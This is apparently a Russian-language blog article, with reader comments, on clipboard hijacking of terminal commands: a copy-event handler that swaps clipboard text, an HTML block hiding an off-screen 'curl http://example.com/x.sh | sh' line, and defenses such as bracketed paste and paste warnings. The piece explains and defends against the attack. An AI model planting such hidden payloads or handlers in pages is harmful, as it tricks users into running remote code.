Ставил утилиту по инструкции с сайта проекта: блок с командой, кнопка «скопировать», вставка в терминал. Перед Enter посмотрел на строку — вставилось не то, что было в блоке.
Проблема в том, что сайт полностью контролирует, что окажется в буфере обмена. Показать он может одно, положить — другое. И у страницы есть несколько способов сделать это так, что при вставке вы ничего не заметите.
Способ первый: подмена при копировании
Браузер даёт странице событие copy, и обработчик может записать в буфер что угодно:
document.addEventListener('copy', (e) => { e.clipboardData.setData('text/plain', 'что угодно вместо выделенного'); e.preventDefault(); });
Пользователь выделил sudo apt install htop, а в буфере — другая строка. Ни выделение, ни вид блока не меняются.
То же самое делает и кнопка «скопировать» рядом с блоком кода: она вызывает navigator.clipboard.writeText(...), и что туда передадут, знает только автор страницы.
Способ второй: то, чего не видно в блоке
Даже без всяких обработчиков в HTML легко спрятать часть текста внутри блока:
<pre>sudo apt install htop<span style="position:absolute;left:-9999px"> curl http://example.com/x.sh | sh</span></pre>
Второй фрагмент вынесен за пределы экрана, но он часть того же элемента — и при выделении попадает в буфер. Варианты того же приёма: нулевой размер шрифта, цвет фона, clip-path, opacity: 0.
Ключевая деталь: в скопированном тексте есть перевод строки. Что с ним произойдёт, зависит от режима вставки.
В современных оболочках работает bracketed paste: терминал оборачивает вставленный текст служебными маркерами, и оболочка кладёт его в строку ввода целиком, не исполняя. Это умолчание в bash с readline 8.1, в zsh и в fish. Там вторая команда сама не выполнится — но она уже в строке ввода, за правым краем экрана, и уходит на исполнение с первым же Enter.
А вот там, где bracketed paste выключен или не поддержан — старые сборки readline, set enable-bracketed-paste off, часть TUI-приложений, отдельные последовательные консоли, — перевод строки читается как нажатие Enter, и вторая команда выполняется сама.
Почему терминал опаснее редактора
Дело не в видимости: скрытый фрагмент вставится и в редактор. Разница в том, что в редакторе он останется текстом, а в терминале строка уходит на исполнение — либо сама, либо первым же Enter, который вы нажимаете не глядя, потому что уверены, что вставили одну команду.
Отдельно неприятно, что жертва такой страницы — обычно администратор или разработчик, то есть человек, который вставляет команды с sudo.
Как защититься
Вставлять в редактор, а не в терминал. В редакторе с включённым показом непечатаемых символов видно ровно то, что скопировано, вместе с невидимыми переводами строк.
Проверить, что bracketed paste включён. В bash это bind -v | grep bracketed, ожидаемое значение — set enable-bracketed-paste on. Если выключено, вставка многострочного текста исполняется сразу.
Включить подтверждение вставки в терминале. Многие терминалы предупреждают про многострочный текст: iTerm2 — опцией «Warn when pasting multiline text», Windows Terminal — параметром multiLinePasteWarning (по умолчанию он включён, проверять стоит, что его не выключили), в GNOME Terminal и Konsole наличие переключателя зависит от версии.
Смотреть на строку ввода до Enter. Нажать End или Ctrl+E — курсор уйдёт в конец, и станет видно, что строка не заканчивается там, где вы ожидали. Если команда всё же успела отработать, историю (history | tail -5) стоит смотреть как первый шаг, но при однострочнике вида curl | sh разбираться придётся уже с хостом целиком.
С осторожностью относиться к однострочникам вида «просто выполните это». Установка из непроверенного источника через загрузку скрипта в интерпретатор — сама по себе рискованная практика, а с подменой буфера она становится ещё и незаметной.
Можно ли проверить сайт заранее
Никак не проверить заранее — обработчик выполняется в момент копирования. Единственная надёжная защита — не доверять содержимому буфера, а смотреть на него.
Если хочется убедиться, что приём работает, — соберите страницу из первого примера у себя локально и попробуйте скопировать с неё текст.
Комментарии (10)

Dead_Bit
02.09.2026 15:24предохраняйтесь, не вставляйте куда попало. еще раздражает, что если подсказки гугловой нейронки не вручную скопировать, а нажать рядом кнопку "копировать в буфер обмена", то при вставке в терминал команда сразу выполняется, т.к. видимо идет с символом завершения строки.

dky
02.09.2026 15:24Можно переопределить setData в Tampermonkey если это действительно напрягает, сам сталкивался с подменой только на каком-то сайте магаза, который добавлял упоминание о себе. Подмена команд это прям как-то сильно палевно, это должен быть совсем донный сайт.

AVX
02.09.2026 15:24Да, подстава знатная. Поэтому не нужно всë это копипастить, хотя бы сначала в текстовый редактор, а оттуда уже текст в чистом виде. Ещë бОльшая опасность с curl на выполнение - там изначально не видишь, что скачалось. В нормальном варианте нужно понимать все команды, которые собираешься выполнять (а лучше перепроверить в манах), и сначала где-то протестировать.
Хуже, что и сайты перехватывают ctrl+c, и не так просто всë. В линуксе хотя бы 2 разных буфера есть, можно просто выделить (если опять же сайт не заблочит или не подменит содержимое).

krakodjaba
02.09.2026 15:24Сразу вспомнились атаки двух-трёхлетней давности с «безобидными» командами для Win+R/CMD: человеку показывали одно, а через JavaScript в clipboard попадала совсем другая команда.
Механика старая, но применительно к терминалам действительно есть что разобрать — особенно с учётом multiline paste и bracketed paste.

legolegs
02.09.2026 15:24Мышиный буфер по СКМ в линуксе не подвержен подмене буфера яваскриптом. Но невидимый текст по-прежнему опасен. Блокнотик или его эквивалент всегда держим под рукой. Ну или если лень отходить от консоли, то вызвать
catбез аргументов и вставлять в него.
Lazytech
Если есть мало-мальские навыки чтения исходников веб-страниц, то в десктопной версии браузера можно открыть Инструменты разработчика (“DevTools”, обычно открываются нажатием клавиши F12), перейти в DevTools на вкладку Elements (Chrome) или Inspector (Firefox), выбрать на веб-странице “стрелочкой” (слева в наборе инструментов DevTools) HTML-элемент с нужным текстом, а потом скопировать нужный фрагмент текста из DevTools. При необходимости можно вручную удалить HTML-разметку из скопированного фрагмента.
yarkov
Как долго. Просто не вставлять сразу в терминал, а вставлять в текстовый редактор и смотреть глазами. Куда быстрее чем в Dev Tools копошиться.
Lazytech
Наверняка существуют браузерные расширения, позволяющие копировать выделенный текст по принципу “то, что вижу” (например, с использованием OCR). Особо не интересовался, мне без надобности.
nidalee
Хотел бы посмотреть на человека, который реально этим занимается каждый раз.
Lazytech
Ну, не каждый раз, но на подозрительных сайтах - почему бы и не заморочиться. Способ-то рабочий, проверен неоднократно. Кстати, точно так же элементарно обходится защита от копирования выделенного текста (за исключением особых случаев, например, когда защищаемый текст “пишется” на HTML-элемент canvas).